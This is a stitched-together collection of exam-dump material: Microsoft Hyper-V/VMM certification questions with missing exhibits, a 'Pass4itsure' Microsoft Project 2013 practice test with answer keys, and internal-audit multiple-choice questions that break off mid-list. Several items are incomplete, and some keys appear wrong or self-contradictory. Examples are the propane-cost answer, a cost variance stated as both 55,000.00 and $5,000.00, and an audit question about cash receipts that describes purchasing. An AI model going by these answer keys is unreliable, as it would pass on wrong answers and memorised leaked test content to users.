QUESTION 34 A company uses System Center 2012 R2 Virtual Machine Manager (VMM). You need to create and assign a self-service user role in VMM. You have the following requirements: All role members must share ownership of all virtual machines (VMs) that any role member creates. Role members must be able to deploy VMs. Role members must NOT have authoring rights. Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order
Explanation Explanation/Reference: Note: *(box 1, box 2) If you want all role members to share ownership of all virtual machines that any member creates, create a security group in Active Directory and assign that group to the user role. *(box 3) For a self-service user to deploy a virtual machine from a template, the following is required: /The self-service user role must have the Deploy or Deploy (From template only) actions in their user role scope. / The template must be available to the self-service user role as an assigned resource, or the self-service user role must be granted access in the template properties.
QUESTION 35 You plan to implement guest clustering that contains two virtual machines (VMs). You review the following information from one of the VMs: The Validate File System test results in the Failover Clustering Validation Report, as shown in the Validation Report exhibit (Click the Exhibit button.)
The Features page of the Add Roles and Features Wizard, as shown in the Features Wizard exhibit (Click the Exhibit button.)
Explanation Explanation/Reference:
QUESTION 36 A company has a Windows Server 2012 R2 Hyper-V environment that includes two separate Active Directory Domain Services (AD DS) domains. The environment also has three servers named HOST1, HOST2, and HOST3 that have the Hyper-V role installed. HOST1 and HOST2 are configured as a failover cluster. The environment is configured as shown in the following diagram:
You plan to deploy two new virtual machines named VM-Server1 and VM-Server2. You have the following requirements: Deploy both virtual machines as a failover cluster. Utilize virtual hard disk (VHD) sharing for the cluster. The virtual machines must survive a host server hardware failure. You need to deploy the virtual machines. Use the drop-down menus to complete each statement based on the information presented in the screenshot. Each correct selection is worth one point.
Explanation Explanation/Reference:
QUESTION 37 A company has a Hyper-V environment that includes three servers named HOST1, HOST 2, and FILESERVER1. HOST1 and HOST2 run Windows Server 2012 R2 that have the Hyper-V role installed. FILESERVER1 runs Windows Server 2008 R2 and has the File Services role installed. All of the hardware supports Offloaded Data Transfer (ODX). The servers are configured as shown in the following diagram:
STORAGE1 is encrypted with BitLocker. You need to support ODX for all of the virtual machines on HOST1. Use the drop-down menus to complete each statement based on the information presented in the screenshot. Each correct selection is worth one point.
QUESTION 38 You are the virtualization administrator for an organization. You use System Center 2012 R2 Virtual Machine Manager (VMM) to configure a virtual machine (VM) template that will host a new application. You have the following requirements for new VMs that host the application: New VMs must be highly available. You must join the VMs to an Active Directory Domain Services domain at deployment. You need to modify the VM template to support the requirements. On the properties page for the template, which two settings should you configure? To answer, select the appropriate settings in the answer area
QUESTION 39 A company has a single Active Directory Domain Services (AD DS) domain and four Windows Server 2012 R2 servers that have the Hyper-V role installed. The company uses System Center 2012 R2 Virtual Machine Manager (VMM) to manage the Hyper-V environment. One set of Hyper-v host servers is dedicated for use by the development environment. A second set of Hyper-v host servers is dedicated for use by the production environment. The network architects assign the IP address subnets as shown in the following table:
The network architects also prepare a network design for the Hyper-V environments as shown in the Network Design exhibit. (Click the Exhibit button.)
You need to ensure that the implementation team can implement the network design successfully. For each of the following statements, select Yes if the statement is true. Otherwise, select No. Each correct selection is worth one point.
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Who should take this exam?
This exam is designed for candidates who use Project Standard, Project Professional, and Project Pro for Office 365 desktop features.
Candidates should have experience effectively modeling, scheduling, resourcing, communicating, collaborating on,
and delivering projects using Project Standard, Project Professional, Project Pro for Office 365, SharePoint, and SharePoint Online.
Candidates should also have a solid understanding of key project management concepts and terminology.
Pass4itsure offers the latest Microsoft Project 74-343 practice test free of charge (40Q&As)
QUESTION 1 Your organization uses Project Professional 2013 and records actual hours worked on the project. You manage a small e-commerce website implementation project. One of your testers asks for assistance in completing a critical task, and you find two additional testing resources that can assist with executing the critical test cases. The total estimated work for the effort-driven task is 100 hours. The original testing resource, Resource1, completes 25 hours of work on the task. You need to add Resource2 and Resource3 to the task and split the remaining hours across all three resources now working on the task. Which two actions should you perform? (Each correct answer presents part of the solution. Choose two.) A. Open the Task Form and format it to show Work Details. Enter 25 hours of actual work for Resource1. Then save the changes. B. Open the Task Form and format it to show Work Details. Enter 75 hours of remaining work for the assigned resource. Then save the changes. C. Assign Resource2 and Resource3 to the task. Then save the changes. D. Open the Task Form and format it to show Work Details. Enter 33.33 hours of work for each resource. Then save the changes. Correct Answer: AC
QUESTION 2 You are managing a project using Project Professional 2013. Your project schedule is showing task over allocation indicators in the Gantt chart view. You navigate to the Team Planner view to investigate more details regarding the over allocations. You discover that the BA1 resource is over allocated and you need to see all assignments with details for BA1 to understand their current workload before making any assignment changes. What should you do? A. Click the BA1 resource and scroll to the end of the project. B. Click View, check Details, select Resource Form then click on the BA1 resource. C. Click View, check Details, select Task Form then click on the BA1 resource. D. Right-click the BA1 resource and select Information. Correct Answer: B
QUESTION 3 You are a project manager who uses Project Standard 2013. You are creating a preliminary project schedule and are estimating the number of resources required prior to finalizing the schedule. You do not have named resources to complete the tasks, but you know the resource roles that are necessary. One of the roles needed is architect. You need to estimate how many architect hours are required to complete the work. What should you do? A. Add a Material Resource named architect. B. Add a Budget Resource named architect. C. Add a Work Resource named architect, D. Add a Cost Resource named architect. Correct Answer: C
QUESTION 4 Your company uses Project Professional 2013. You are setting up a preliminary schedule by using manually scheduled tasks. You create a task with no duration, start, or finish date, and then you assign a resource. Later, you enter a duration of three days for that task. You need to let the resource know how the Work will be affected. What should you say? A. Work will increase to 24 hours. B. Work will remain at 0 hours. C. Work will increase to 16 hours. D. Work will remain at 8 hours. Correct Answer: A
QUESTION 5 You are a program manager who uses Project Professional 2013. You manage a portfolio of projects for a large point of sale implementation. All of your project managers have created individual project schedules. You discover that you have resource constraints since multiple resources are working on multiple projects. You need visibility into resources across all projects so that you can most efficiently manage the resources and their availability. What should you do? A. Create a shared resource pool and send the location to each project manager. Open the individual project and the resource pool. From the individual project, select Resource Pool, Share Resources, and choose Use Resources. B. Create a shared resource pool and send the location to each Project Manager. Open the individual project, select Resource Pool, Share Resources, and choose Use Resources. C. Create a master resource list and send it to each project manager. Open the individual project and copy and paste it into the Resource Sheet. D. Create a master resource list and send it to each project manager. Open the individual project, select Team Planner, and add the resources. Correct Answer: A
QUESTION 6 Your organization uses Microsoft Project 2013. You are finalizing the Project Schedule for a very complex project with over 100 resources. You need to ensure that all tasks are assigned to resources. What should you do? A. Use Task Usage view and look for Unassigned tasks. B. Use Resource Graph view and look for the Unassigned resource name. C. Use Resource Usage view and look for the Unassigned resource name. D. Use Resource Sheet view and look for Unassigned tasks. Correct Answer: C
QUESTION 7 You are a project manager who uses Project Professional 2013. You work on a construction project that requires propane as a fuel source for your equipment. The foreman requires that you enter project costs associated with all work completed on your project. The propane costs $5.00 per gallon, and the tank holds 500 gallons of propane. Each time the tank is refilled, you must pay a fee of $20. You need to enter the propane costs into your project schedule prior to filling the propane tank for the first time. What should you do? A. Create a material resource with a material label of gallons. Enter $20 in the cost per use and $5.00 in the standard rate. B. Create a cost resource, add the resource to a task, and enter $25 in the actual cost. C. Create a material resource with a material label of gallons. Enter $20 in the standard rate and $5.00 in the cost per use. D. Create a cost resource, add the resource to a task, and enter $2520 in the actual cost. Correct Answer: B
QUESTION 8 You are a project manager for a software development company. You use Project Professional 2013. You manage an integration project, and you discover that you need to add additional resources to the integration tasks in order to meet your development complete milestone date. The project is behind schedule, so you must shorten the duration of the integration development work. You identify two additional resources to work on the integration task. When you add these resources, your task now shows it will complete three days ahead of schedule, which leaves a contingency window for issues that may arise. In order to shorten the duration of the task when the resources are added, you need to set the task type before adding the resources. What should you do? A. Use an automatically scheduled task and set the task type to fixed duration. B. Use a manually scheduled task and set the task type to fixed work. C. Use an automatically scheduled task and set the task type to fixed work. D. Use a manually scheduled task and set the task type to fixed duration. Correct Answer: C
QUESTION 9 You are a project manager, and your organization uses Project Professional 2013. You have created a detailed project schedule and have identified two tasks that are causing your resource to be over allocated. You need to use the Team Planner to reassign these tasks from the over allocated resources to under allocated resources with the same skill set. What should you do? A. Right-click the task and reassign it to the underallocated resource. B. Drag the underallocated resource on the task to reassign it. C. Drag one of the tasks from the overallocated resource to the Unassigned Tasks section. D. Right-click the resource and reassign it to the underallocated resource. Correct Answer: A
QUESTION 10 You are a senior project manager, and your organization uses Project Standard 2013. You are managing a large ERP project with both part-time and full-time resources. The part-time resources have strict contractual limitations regarding working days and hourly availability. You need to make sure the tasks for your part-time resources are only scheduled in the calendar during their agreed-upon working days and hours. What should you do? A. Change the part-time resources’ tasks to manually scheduled to ensure the dates do not go past the agreed-upon terms of their contract. B. Enter the availability start and end dates for each resource and change the percent of units to the agreed-upon amount in their contract. C. Enter the availability start and end dates for each resource and change the working time for each resource to only include days and hours agreed upon in their contract. D. Change the part-time resources’ units to the percentage they are available and set task constraints to must finish on to ensure the dates do not go past the agreed-upon terms of their contract. Correct Answer: C
QUESTION 11 Your organization uses Project Professional 2013. A senior stakeholder in a project asks you to determine when a task is over budget by comparing the baseline cost of a task to the cost. Additionally, the senior stakeholder wants you to display a graphic indicator when the baseline cost is greater than the cost. You write a formula to display the indicator, but it only displays for normal tasks and not for summary tasks. You need to make the indicator display for summary tasks. Which two actions should you perform? (Each correct answer presents part of the solution. Choose two.) A. Within the Custom Field, set Calculation for task and group summary rows to Use Formula. B. Within the Custom Field, set Calculation for task and group summary rows to Maximum. C. Within the Graphical Indicators dialog box, check the Import Indicator Criteria button.D. Within the Graphical Indicators dialog box, check Summary rows inherit criteria from nonsummary row. Correct Answer: AD
QUESTION 12 You are a project manager, and you successfully complete a server consolidation project for one of your data centers. You use Project Standard 2013 to plan and track the work. Your manager wants you to begin similar projects on two other data centers. You need to create a template based on the plan you used to manage the first data center consolidation project. You need to ensure that the template has all baseline and actual data values removed. What should you do? A. Within Microsoft Windows Explorer, create a copy of the original project plan and rename the file type from .mpp to .mpt. B. Open the plan and use the Move Project button to set the start date to the start of the new project. Save the project file as Template.mpp. C. Open the plan and reset the percent complete for each task to 0. Save the file as Template.mpp. D. Open the plan and save the plan as a Project Template. E. Open the plan, and copy and paste all of the task information into a new plan. Save the plan as a Project Template. Correct Answer: D
QUESTION 13 You are project manager who uses Project Professional 2013. Your organization uses Microsoft SharePoint 2013 and uses a SharePoint task list to define the tasks required on an upcoming project. The task list contains over 100 items. You need to create a project based on the tasks in the SharePoint list in the most efficient manner. What should you do? A. Export the tasks into Microsoft Excel and then import the Excel file into Project Professional 2013. B. Edit the Project Summary Task hyperlink column to point to the SharePoint task list and click the Import button. C. Open the tasks directly from the SharePoint site into Project Professional 2013. D. Copy and paste the tasks from SharePoint into Project Professional 2013. Correct Answer: C
QUESTION 14 You are a project manager who uses Project Standard 2013. You have been told to build multiple project files for a program. You need to have all of your projects start with auto scheduled tasks by default. What should you do? A. Under schedule options, set New tasks created to Auto Scheduled for each project. B. Use the Task Mode field to change the first task to Auto Schedule, then copy down for all of your tasks. C. Under schedule options, set New tasks created to Auto Scheduled for all new projects. D. Highlight all of the tasks in your schedule and select the Auto Schedule button. Correct Answer: C
QUESTION 15 You are a resource manager who uses Project Standard 2013. You manage all of your resources in a single plan, which acts as a Shared Resource Pool for other projects in your organization. Each resource needs to pass an annual exam in order to work on construction sites. You need to set up a method that allows you to pick the renewal month for each resource. What should you do? A. Rename the Resource Text1 Custom field to Exam Expiration Date. Enter the month when the exam expires. Select the correct expiration date for each resource. B. Use the Organizer to copy the Resource Finish1 Custom field from the Global.mpt. Select the correct expiration date for each resource. C. Rename the Resource Date1 Custom field to Exam Expiration Date. Create a Lookup table with values containing the last date of each month. Select the correct expiration date for each exam. D. Rename the Resource Month1 Custom field to Exam Expiration Date. Create a Lookup table with monthly values. Select the correct expiration month for each exam. E. Rename the Resource Flag1 Custom field to Exam Expired Date. Enter the expiration dates into a Lookup table. Select the correct expiration date for each resource. Correct Answer: C
QUESTION 16 You are a project manager who uses Project Professional 2013. Two of your resources job share; Resource1 works Monday, Tuesday, and a half day Wednesday. Resource2 works the remaining work week. You need to set up their calendars to reflect the job-sharing arrangement. What should you do? A. Open each resource and set a recurring exception to reflect the non-working days. B. Open each resource and amend the working time on each resource’s calendar. C. Open each resource and set their Resource Availability units to 50%. D. Open each resource and use the Resource information dialog box to create a new calendar. Change the Default Work Week to reflect the working time. Correct Answer: B
QUESTION 17 You are a project manager who uses Project Standard 2013, and your task list includes a flag field that indicates, with Yes or No, if a non-summary task represents a physical deliverable. Your project involves several tasks marked as deliverables, and management requires you to track how many deliverables are completed. The deliverable is considered completed when the Percent complete field is 100%. You need to create a formula to calculate the total number of deliverables that are completed. Which two steps should you perform? (Each correct answer presents part of the solution. Choose two.) A. Use the following formula: IIf([Physical Deliverable]=Yes And [% Complete]=100,1,0). B. Set Calculation for tasks and summary groups to Sum. C. Use the following formula: IIf([Physical Deliverable]=Yes And [% Complete]=100,0,1). D. Set Calculation for tasks and summary groups to Count All. Correct Answer: AB
QUESTION 18 You are a project manager who uses Project Standard 2013. Your manager wants you to plan an office move. You have a project schedule from a prior office move named “OfficeMove.mpp” and you want to use this project to assist in planning the current office move. In the fewest steps possible, you need to create your new project schedule based on the old project schedule. What should you do? A. Open the old OfficeMove.mpp file, change the project start date and project title, and clear the baseline. Save the file using the current project name. B. Open the old OfficeMove.mpp file, click on Save As, save the file using a new file name, clear the baseline, and set all tasks to zero percent complete. C. Open the old OfficeMove.mpp file, save the file as an .mpt file type, removing the baseline and actual values. Save the .mpt file as an .mpp file type, assigning the current project name. D. Open the old OfficeMove.mpp file, click on Save As, and save the file using a new file name. Then enter the project name in the Project Summary Task. Set all tasks to zero percent complete. Correct Answer: C
QUESTION 19 You are a project manager who uses Project Professional 2013. A senior stakeholder asks you to update your project to reflect your organization’s scheduled two-week closure. You need to reflect the closure within your schedule. What should you do? A. Create a resource and specify non-working days for the resource which reflect the closure. Assign this resource to each task. B. Open the Project Calendar and modify the default work week by setting the dates as non-working time. C. Create a new calendar and assign this to the tasks that are scheduled over the period of closure. D. Open the Project Calendar and enter the planned closure in the Exceptions tab. Correct Answer: D
QUESTION 20 You are a project manager for an organization that uses Project Standard 2013. You add shortcuts on the Quick Access Toolbar to your most frequently used commands. Your manager is impressed with the ease of use this customization provides and would like other project managers in the group to use it. You need to deploy the customization to these project managers. What should you do? A. Save a Project File with the customizations to the ribbon in the file. Ask the other project managers to open the file. B. Email your global.mpt file to each project manager. Ask them to place the template in the %appdata%\Microsoft\MS Project\15 \1033 folder. C. Click on the Import/Export button to export the customizations to a file. Ask the other project managers to import the file. D. Use regedit to export the following key: HKLM\Software\Microsoft\Office\15.0\User Settings\ProjectRibbon. Ask the other project managers to import the key. Correct Answer: C
QUESTION 21 You are using Microsoft Project Professional 2013. Three years ago, you successfully completed a project to review all of the suppliers within your organization, and you have been asked to run a similar project again. You still have the project plan from three years ago. You need to use the most efficient method to produce a new plan with tasks based upon the old project plan. What should you do? A. Rename the old plan to a .mpt file, and select it from the featured templates to create the new project. B. Open the file in an earlier version of Project Professional and save it as a Project Professional 2013 file format. Open the file in Project Professional 2013. C. Open the file, and copy and paste the task list into the schedule. D. Use the New from existing project option to create the new project. Correct Answer: D
QUESTION 22 You are a project manager who uses Project Standard 2013. You regularly customize the Bar Styles for a project prior to printing the project schedule. You need to add the Bar Styles button to the Quick Access Toolbar as quickly as possible. What are two ways to achieve this goal? (Each correct answer presents a complete solution. Choose two.) A. Expand the Quick Access Toolbar drop-down menu, and select Format Bar Styles from the menu list. B. Customize the Quick Access Toolbar and add Format Bar Styles (Gantt Chart) command to the ribbon.C. Collapse the ribbon. Commonly used Ribbon commands are automatically placed onto the Quick Access Toolbar. D. Right click the Bar Styles button in the ribbon and select Add to Quick Access Toolbar. Correct Answer: BD
QUESTION 23 You are a project manager who uses Project Standard 2013. You manage a large project and are capturing actual work for the tasks as they are being worked. You do not need to enter the time on the actual day worked; however, you need to capture the total amount of time spent on the task. The fixed work task has a baseline of 20 hours, and the developer’s timecard displays the following hours: Monday = 2 hours Tuesday = 8 hours Wednesday = 4 hours Thursday = 2 hours Friday = 2 hours The developer informs you that the task is now complete. You need to update the actual work and mark the task complete. What should you do? A. Open the Task Form and format it to show Work Details. Enter 20 hours in the Actual Work for the resource. Enter 0 hours in the remaining work. Mark the task as 100% complete. B. Open the Task Form and format it to show Schedule Details. Enter 18 hours in the Actual Work for the resource. Enter 2 hours in the remaining work. Mark the task as 100% complete. C. Open the Task Form and format it to show Work Details. Enter 18 hours in the Actual Work for the resource. Enter 0 hours in the remaining work. D. Open the Task Form and format it to show Schedule View. Enter 18 hours in the Work column for the resource. Correct Answer: C
QUESTION 24 You are a project manager for a company that uses baselines in Project Standard 2013. Project stakeholders approve an update to the baseline of a project in progress. You enter the new tasks necessary to include the project schedule changes. You need to update the baseline for the new tasks. What should you do? A. Delete the current baseline and re-baseline the entire project. B. Copy the current schedule to the baseline1 fields. C. Select the new tasks and copy the schedule to the baseline1 fields for the selected tasks. D. Select the new tasks and set the baseline for the selected tasks. Correct Answer: D
QUESTION 25 You manage a project schedule by using Project Professional 2013. You are concerned about project costs. After viewing the Cost Variance column, you realize that the project has a cost variance of 55,000.00. You need to view graphically which tasks and resources are causing the $5,000.00 cost variance. What should you do? A. View the Resource Graph’s Cumulative Cost view. B. View the Task Cost Overview report. C. View the Over Budget Tasks report. D. View the Cost Overrun report. Correct Answer: D
QUESTION 26 While scheduling with Project Professional 2013 you notice that there are three days of remaining duration on the Database Design task. The resource performing this task indicates that the work is completed. You need to update the schedule to reflect this change. What should you do? A. Enter a status date for the task. B. Enter 0 in remaining duration. C. Reschedule uncompleted work for the project schedule. D. Click on the task, and then click 100% complete. Correct Answer: B
QUESTION 27 Your project managers manage several projects using Project Professional 2013. Each individual project contains a saved baseline. You need to capture in the master project the baseline data from the member projects at the summary levels for reporting purposes. What should you do? A. Create a Master project and insert all of the individual projects without an update link. View the Baseline in the Tracking Gantt view, and view the baseline values in the Usage table. B. Open all of the projects and create a New Window view. View the baseline in the Tracking Gantt view, and view the baseline data on the Variance table. C. Turn on the option Inserted projects are calculated like summary tasks. Create a Master project and insert all of the individual projects without an update link. View the Baseline in the Tracking Gantt view, and view the baseline values in the Usage table. D. Create a Master project and insert all of the individual projects with an update link. Save a baseline in the Master Project. View the Baseline in the Tracking Gantt view, and view the baseline values in the Variance table. Correct Answer: D
QUESTION 28 You manage a project by using Project Professional 2013. The Indicators column in the Gantt Chart view shows that there are overallocated resources for a task. A resource is assigned to multiple tasks at 100% on a specific day, totaling 2.5 hours of work for the day. The resource has availability of 8 hours for the day. You need to solve this problem. What should you add to the task? A. A deadline B. A Finish to Start relationship C. A Finish to Finish relationship D. More work Correct Answer: B
QUESTION 29 You are managing a project by using Project Professional 2013, and you notice a potential scheduling problem indicated by wavy red lines under some of the dates in the Finish column. You need to resolve the issue. What should you do? A. Recalculate the project schedule. B. Adjust the resource assignment on the task to when the resource is available. C. Activate Task Inspector for the task to decide if adjustments are necessary. D. Adjust the finish date on the task to a date in the future. Correct Answer: C
QUESTION 30 You are a project manager who uses Project Professional 2013. You manage a software development project and have baselined the project. Your Project Management Office (PMO) requires you to capture the actual hours per resource for each task in your project schedule. You use these weekly actual hours to generate a weekly report for your project sponsor. Your resources report their actual hours each Friday. You need to enter the hours in your Project Schedule on a weekly basis. What should you do? A. Choose Resource Usage view, add an Actual Work row, and enter total weekly hours per assignment in the appropriate week. B. Display the Team Planner view, add an Actual Work column, and enter total weekly hours for each task. C. Choose Gantt Chart view, add a Work column, and enter total weekly hours for each task. D. Choose Resource Form view, right-click to view Work Details, and enter total weekly hours for each task. Correct Answer: A
QUESTION 31 You use Project Professional 2013 to manage a project that has customer-required milestone completion dates. You need to see graphically that your milestones have slipped beyond your customer- required dates. What should you add to the project milestones? A. a Must finish on constraint B. a finish date C. a deadline D. a Finish no later than constraint Correct Answer: C
QUESTION 32 You manage a project by using Project Professional 2013. Your project is updated with changes to the baseline for selected tasks. You back up your project fife before you start your next tracking cycle. After completing the tracking cycle, you notice that the baseline duration values on some of the summary tasks are not correct. You need to correct these values before re-entering the tracking data. You open the backed up version of the project schedule. What should you do next? A. Manually update the summary tasks with the new duration values. B. Reset the summary tasks to manual scheduling. C. Ensure the tasks durations are of the same denomination values. Then reenter the tracking data. D. Reset the baseline checking the Roll up baselines to all summary tasks option. Then reenter the tracking data. Correct Answer: D
QUESTION 33 You are a program manager. Your project managers use Project Professional 2013 to manage projects. The project managers want to utilize the same resources across their projects. You need to combine the projects, as well as the project resources, to see allocations across the projects. What should you do? A. Copy and paste all resource assignments into a Master file. B. Share resources from an external resource pool. C. Create a Master project and insert subprojects by using Link to project. D. Open all projects in a new window. Correct Answer: B
QUESTION 34 Your company uses Project Standard 2013 to track project progress. You need to accurately calculate cost performance index (CPI) as a health indicator. Which three actions should you perform? (Each correct answer presents part of the solution. Choose three.) A. Ensure there is a value in the Status Date field. B. Ensure there is a value in the Standard Rate field. C. Ensure Task Dependencies exist in the schedule. D. Enter actual progress information. E. Level resources within available slack. Correct Answer: ABD
QUESTION 35 Your company uses Project Professional 2013. You are a program manager in charge of a multi-program software integration project. The project is scheduled from January 1, 2012-August 3, 2013. You have a consultant resource that charges a different rate based on each task completed. Tasks 1 through 9 are billed at a rate of $150.00 per hour. Tasks 10 through 20 are billed at a rate of $175.00 per hour. You need to set up your schedule to ensure that the correct resource rate is associated with the correct tasks. Which two actions should you perform in sequence? (To answer, move the appropriate two actions from the list of actions to the answer area and arrange them in the correct order.)
QUESTION 36 You are an independent project manager who uses Project Professional 2013. You are starting a new marketing campaign project for your own company. You want to use Project Professional 2013 to plan and manage this project. You have never worked with a marketing project, so you choose to start your project plan with one of many templates available at the Microsoft Office website. You need to access the correct template. Which three actions should you perform in sequence? (To answer, move the three appropriate actions from the list of actions to the answer area and arrange them in the correct order.)
QUESTION 37 You are an independent project manager who uses Project Professional 2013 and wants to extend the standard functionalities of it. You need to find and install an app from the Office Store. Which four actions should you perform in sequence? (To answer, move the appropriate four actions from the list of actions to the answer area and arrange them in the correct order.)
QUESTION 38 You are a senior project manager in a software development company. You manage your projects with Project Professional 2013. The development team is behind schedule due to a problem found in the architectural design of the database. The lead architect estimates that redesigning the database will take approximately 30 hours. You create a new manual task and assign it to the lead architect. However, the task has not been scheduled. You need to easily see a time phased view of all tasks for the lead architect in order to schedule the task for completion. Which three actions should you perform in sequence? (To answer, move the appropriate three actions from the list of actions to the answer area and arrange them in the correct order.)
QUESTION 39 You are a project manager who uses Microsoft Project 2013. A resource manager notifies you that your assigned resource is now only available 50% to work on the communication plan task. The estimated amount of work for the task remains the same at 16 hours. The task must also be completed within the original two-day commitment even though the resource is only available 50% of the time. You need to bring on another resource to assist with the remaining 50% of the work while ensuring that the same amount of work gets done in the two days that were originally committed. Which three actions should you perform in sequence? (To answer, move the appropriate three actions from the list of actions to the answer area and arrange them in the correct order.)
QUESTION 40 You are a project manager who uses Project Standard 2013. Your project is approved, and you identify named resources to replace the generic resources for your project tasks. You need to update the project schedule to assign the named resources to their appropriate tasks. Which three actions should you perform in sequence? (To answer, move the appropriate three actions from the list of actions to the answer area and arrange them in the correct order.)
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QUESTION 1
Monetary-unit sampling is most useful when the internal auditor:
A. Is testing the accounts payable balance.
B. Cannot cumulatively arrange the population items.
C. Expects to find several material errors in the sample.
D. Is concerned with overstatements.
Correct Answer: D
QUESTION 2
According to the Standards, which of the following is applicable to the internal audit activity\’s quality assurance and
improvement program?
A. Periodic monitoring of the internal audit activity should be done.
B. All aspects of the internal audit activity should be evaluated.
C. An external assessment should be obtained every three years.
D. The review of assurance services should be the primary focus.
Correct Answer: B
QUESTION 3
An audit of an organization\’s fulfillment department discovered that problems in the order processing system led to a
significant number of orders being fulfilled multiple times. During the exit conference, the head of the department
informed the auditors that the processing system would be enhanced within six months to correct the problems. Which
course of action should the chief audit executive follow?
A. Adjust the scope of the next scheduled audit to determine that the problems have been resolved.
B. Monitor the status of corrective action and schedule a follow-up engagement when appropriate.
C. Meet with the audit committee to determine the appropriate follow-up action.
D. Assess the status of corrective action in a follow-up engagement in six months.
Correct Answer: B
QUESTION 4
While conducting a payroll audit, an internal auditor in a large government organization found inadequate segregation in
the duties assigned to the assistant director of personnel. When the auditor explained the risk of fraud, the assistant
director became upset, terminated the interview, and threatened to sue the organization for defamation of character if
the audit engagement was not curtailed. The auditor discussed the situation with the chief audit executive (CAE). The
CAE should then:
A. Curtail the audit engagement to avoid potential legal action. B. Provide a report to senior management recommending a fraud investigation.
C. Continue the original engagement program as planned but include a comment about the assistant director\’s reaction
in the engagement final communication.
D. Add additional testing to determine whether other indicators of fraud exist.
Correct Answer: D
QUESTION 5
Which of the following is not a reason for an internal auditor to prepare an audit plan before the detailed audit work
begins?
A. The objectives of the audit should be set.
B. The organization\’s management should be informed about the work to be performed.
C. Attention should be devoted toward the key audit areas.
D. The timing of the audit should be set.
Correct Answer: B
QUESTION 6
Because of a new marketing initiative, an organization has reduced requirements for extending credit to new customers.
As a result, outstanding accounts receivable as a percentage of revenue has increased significantly during the past two
years. Which of the following would be least useful in monitoring this finding?
A. Updates from the manager of accounts receivable regarding collection of outstanding receivables.
B. Updates from the information technology division regarding development of a new accounts receivable system.
C. Updates from the controller regarding the status of corrective actions.
D. Updates from the credit and marketing personnel tasked with reevaluating credit policies.
Correct Answer: B
QUESTION 7
An audit identified a number of weaknesses in the configuration of a critical client/server system. Although some of the
weaknesses were corrected prior to the issuance of the audit report, correction of the rest will require between 6 and 18
months for completion. Consequently, management has developed a detailed action plan, with anticipated completion
dates, for addressing the weaknesses. What is the most appropriate course of action for the chief audit executive to
take?
A. Assess the status of corrective action during a follow-up audit engagement after the action plan has been completed.
B. Assess the effectiveness of corrections by reviewing statistics related to unplanned system outages, and denials of
service.
C. Reassign information systems auditors to assist in implementing management\’s action plan.
D. Evaluate the ability of the action plan to correct the weaknesses and monitor key dates and deliverables. Correct Answer: D
QUESTION 8
Which of the following is an effective way for an internal auditor to improve communications with the client during a
contentious audit?
A. Encourage the client to participate as a partner in the decision-making process to determine the changes that need to
be made.
B. Clearly explain to the client the role of the internal audit activity in the change process.
C. Obtain the support of the board of directors for proposed changes before discussing the changes with operating
management.
D. Speak privately with key client personnel immediately after proposed changes are announced to address their
concerns.
Correct Answer: A
QUESTION 9
What is the most important risk in determining the validity of construction delay claims?
A. Contractor claims may be submitted prior to completion of the work.
B. Contractor claims may include costs considered in the fixed-price portion of the work.
C. Contractor claims may include subcontractor estimates of balances due to the subcontractor.
D. Contractor claims may be understated.
Correct Answer: B
QUESTION 10
During an interview with a manager in a company\’s claims department, an auditor noted that the manager became
nervous and changed the subject whenever the auditor raised questions about certain types of claims. The manager\’s
answers were consistent with company policies and procedures. When documenting the interview, the auditor should:
A. Document the manager\’s answers, noting the nature of the nonverbal communication.
B. Document the manager\’s answers but not the nonverbal communication because it is subjective and is not
corroborated.
C. Conclude that the nonverbal communication is persuasive and that sufficient evidence exists to begin a fraud
investigation.
D. Disregard the interview entirely because the verbal and nonverbal communications were contradictory.
Correct Answer: A
QUESTION 11
Once an audit report is drafted, the auditor\’s supervisor should review it primarily to ensure that all:
A. Statements are supported and can be authenticated. B. Recommendations for corrective action are clear.
C. Processes within the audited area were reviewed.
D. Sample sizes appear appropriate for any issues found.
Correct Answer: A
QUESTION 12
An employee in the sales department completes a purchase requisition and forwards it to the purchaser. The purchaser
places competitive bids and orders the requested items using approved purchase orders. When the employee receives
the ordered items, she forwards the packing slips to the accounts payable department. The invoice for the ordered items
is sent directly to the sales department, and an administrative assistant in the sales department forwards the invoices to
the accounts payable department for payment. Which of the following audit steps best addresses the risk of fraud in the
cash receipts process?
A. Verify that approvals of purchasing documents comply with the authority matrix.
B. Observe whether the purchase orders are sequentially numbered.
C. Examine whether the sales department supervisor approves invoices for payment.
D. Determine whether the accounts payable department reconciles all purchasing documents prior to payment.
Correct Answer: C
QUESTION 13
The internal audit activity\’s primary responsibility in a review or examination of the organization by an external
regulatory body is to:
A. Verify that regulatory reviews occur with adequate frequency.
B. Provide follow-up to determine if the regulator\’s findings are appropriately resolved by management.
C. Prepare documentation for the regulator.
D. Document the responses to the regulator\’s findings.
Correct Answer: B
QUESTION 14
Which sampling plan requires no additional sampling once the first error is found?
A. Stratified sampling.
B. Attributes sampling.
C. Stop-or-go sampling.
D. Discovery sampling.
Correct Answer: D
QUESTION 15
An internal auditor was assigned to conduct an inventory control and stock room area engagement. During the audit, the
auditor observed that there were some items that have a shelf life expiration date requirement based on a certificate of
conformance received with the product. The certificates of conformance are kept on file in the inventory area office and
the expiration date is verified at the time the item is taken from stock. The auditor reviewed the items in the stock room
and also on the production floor for the expiration dates to see if there was any expired product. All items with a shelf life
requirement were found to be within the expiration date requirement. Which of the following recommendations would be
appropriate?
A. Take no action, because all the items were within the expiration date requirement, and no corrective action is
needed.
B. Permit production staff the access to files where the certificates of conformity are kept, so they can choose the items
with the closest expiration date.
C. Determine the cost of inventory for the items that have a shelf life and apply a new policy regarding inventory levels
to be maintained (i.e., minimums, maximums, reorder points etc.).
D. Add to the product label a andquot;use by dateandquot; line, enter the expiration at the time of receipt, and perform
periodic inventory checks.
Correct Answer: D
QUESTION 16
An audit engagement objective at a manufacturer is to determine the quality of raw materials purchased. Which of the
following actions would best enable an internal auditor to satisfy this objective?
A. Analyze the provision for sales allowances.
B. Analyze the percentage of scrap incurred during production.
C. Research the rationale for customer returns.
D. Evaluate the volume and characteristics of products rejected during processing.
Correct Answer: D
QUESTION 17
The newly appointed chief audit executive (CAE) of a large multinational corporation, with seasoned internal audit
departments located around the world, is reviewing responsibilities for engagement reports. According to IIA guidance,
which of the following statements is true?
A. The CAE is required to review, approve, and sign every engagement report.
B. The CAE is required to review, approve, and sign all regulatory compliance engagement reports only
C. The CAE may delegate responsibility for reviewing, approving and signing engagement reports, but should review
the reports after they are issued.
D. The internal audit charter must identify authorized signers of engagement reports.
Correct Answer: C
QUESTION 18
Which of the following would be included in an internal audit department\’s quality assurance and improvementprogram?
1.
